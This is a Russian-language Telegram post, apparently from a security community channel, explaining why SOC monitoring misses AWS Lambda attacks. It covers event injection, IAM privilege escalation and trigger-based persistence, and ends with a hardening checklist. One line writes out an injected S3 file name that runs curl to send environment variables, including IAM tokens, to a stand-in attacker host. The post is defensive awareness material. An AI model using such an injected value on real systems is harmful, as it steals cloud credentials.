47 Lambda-функций и ни одного алерта: почему SOC не видит serverless-атаки

Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.

Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.

🔥 Три вектора, которые стоит знать

Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в os.system(). Атакующий загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, пока WAF сторожит дверь.

Privilege escalation через IAM-роли. Если у атакующего есть iam:PassRole и lambda:UpdateFunctionCode, он может подменить код существующей функции и привязать к ней роль с широкими правами. На пентесте 12 из 47 функций имели execution role с Action: "*" на S3 и DynamoDB. Это не edge-case, а типичная картина — разработчики назначают максимальные права «чтобы работало» и забывают ужать.

Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.

📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.

🛡 Что проверить прямо сейчас:

1. Есть ли в ваших Lambda-функциях вызовы os.system() или subprocess с пользовательским вводом?
2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на UpdateFunctionCode и iam:PassRole в CloudTrail?

В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.

https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
👍 8
🔥 5
4
37 2.6K

Обсуждение 0

Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.

Обсудить в Telegram